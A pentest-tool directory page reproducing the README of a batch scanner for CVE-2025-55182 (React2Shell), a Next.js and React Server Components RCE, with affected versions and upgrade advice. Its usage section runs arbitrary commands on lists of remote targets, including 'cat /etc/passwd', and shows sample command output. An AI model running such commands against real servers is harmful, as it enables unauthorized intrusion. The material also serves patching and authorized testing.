Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-Scanner — Automated scanner for CVE-2025-55182: a critical RCE vulnerability in React Server Components and Next.js. | Kitploit
Tools/GitHubGitHub/qixinlee/cve-2025-55182-scanner
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubqixinlee/cve-2025-55182-scanner

CVE-2025-55182-Scanner

Automated scanner for CVE-2025-55182: a critical RCE vulnerability in React Server Components and Next.js.

View Repository
179 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-55182 RCE Scanner

Batch detection and verification tool for CVE-2025-55182 (React2Shell) remote code execution vulnerability.

⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only

Vulnerability Overview

CVE-2025-55182 (aka "React2Shell") is a CVSS 10.0 critical severity unauthenticated remote code execution (RCE) vulnerability.

This vulnerability originates from unsafe deserialization in the react-server package of React Server Components (RSC) when handling the RSC "Flight" protocol. An attacker can send a crafted HTTP request to execute arbitrary code on the vulnerable server.

Since Next.js uses the RSC "Flight" protocol, even default configuration applications created with create-next-app may be exploitable without the developer writing any additional code. Active exploitation has been observed since December 5, 2025.

Affected Versions

React Server Components affected versions:

PackageAffected Versions
react-server-dom-webpack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js affected versions (using App Router):

Major VersionAffected Version RangeFixed Version
16.0.x≤ 16.0.616.0.7
15.5.x≤ 15.5.615.5.7
15.4.x≤ 15.4.715.4.8
15.3.x≤ 15.3.515.3.6
15.2.x≤ 15.2.5-
15.1.x≤ 15.1.8-
15.0.x≤ 15.0.4-
14.x Canary≥ 14.3.0-canary.77-

Other potentially affected RSC frameworks/tools:

  • react-router
  • waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk
  • RedwoodJS (RSC mode)

Temporary Mitigation

⚠️ Important: No known temporary mitigation exists for this vulnerability. Upgrading to a secure version is the only fix.

Recommended upgrade versions:

  • React: Upgrade to 19.0.1, 19.1.2, or 19.2.1
  • Next.js: Upgrade to 16.0.7, 15.5.7, 15.4.8, or 15.3.6

The official fix-react2shell-next npm package can help update affected Next.js applications.

Install Dependencies

pip install requests

Usage

Basic Usage

# Batch scan (read targets from urls.txt)
python CVE-2025-55182.py -f urls.txt

# Single target test
python CVE-2025-55182.py -u http://192.168.1.100:3000

Custom Command

# Execute whoami command
python CVE-2025-55182.py -f urls.txt -c "whoami"

# Execute hostname command
python CVE-2025-55182.py -u http://target.com -c "hostname"

# Read file
python CVE-2025-55182.py -f urls.txt -c "cat /etc/passwd"

Advanced Options

# Specify thread count and timeout
python CVE-2025-55182.py -f urls.txt -t 50 --timeout 15

# Custom output file
python CVE-2025-55182.py -f urls.txt -o scan_results.csv

# Quiet mode (output only vulnerable URLs)
python CVE-2025-55182.py -f urls.txt -q

Parameter Description

ParameterDescriptionDefault
-f, --fileURL list fileurls.txt
-u, --urlSingle target URL-
-t, --threadsConcurrent threads20
--timeoutRequest timeout (seconds)10
-o, --outputOutput CSV fileresults.csv
-c, --commandCommand to executeid
-q, --quietQuiet modefalse

URL File Format

One URL per line, for example:

http://192.168.1.10:3000
http://192.168.1.11:3000

Output Example

    +---------------------------------------------------------------+
    |   ###   ## #######  ##  ## ########       ## #######          |
    |   ####  ## ##       ## ##     ##          ## ##               |
    |   ## ## ## #####     ###      ##          ## #######          |
    |   ##  #### ##       ## ##     ##      ##  ##       ##         |
    |   ##   ### ####### ##   ##    ##       ####  #######          |
    |                                                               |
    |   CVE-2025-55182 RCE Scanner                                  |
    +---------------------------------------------------------------+

============================================================
  [ CONFIGURATION ]
============================================================
  > Targets: 10
  > Threads: 20
  > Command: id

============================================================
  [ SCANNING ]
============================================================
  [14:30:25] [VULN] http://192.168.1.10:3000
             '--> uid=1000(www-data)
  [14:30:26] [SAFE] http://192.168.1.11:3000

+==========================================================+
|                     SCAN COMPLETE                        |
+==========================================================+
|  Total Targets :    10                                   |
|  Vulnerable    :     1                                   |
|  Safe          :     9                                   |
|  Errors        :     0                                   |
+==========================================================+

Output File

Scan results are saved in CSV format with the following fields:

  • url - Target URL
  • status - HTTP status code
  • vulnerable - Whether vulnerable
  • output - Command execution output
  • error - Error message

Disclaimer

This tool is intended for authorized security testing only. Do not use for illegal purposes. Users assume all related responsibilities.

Download Tool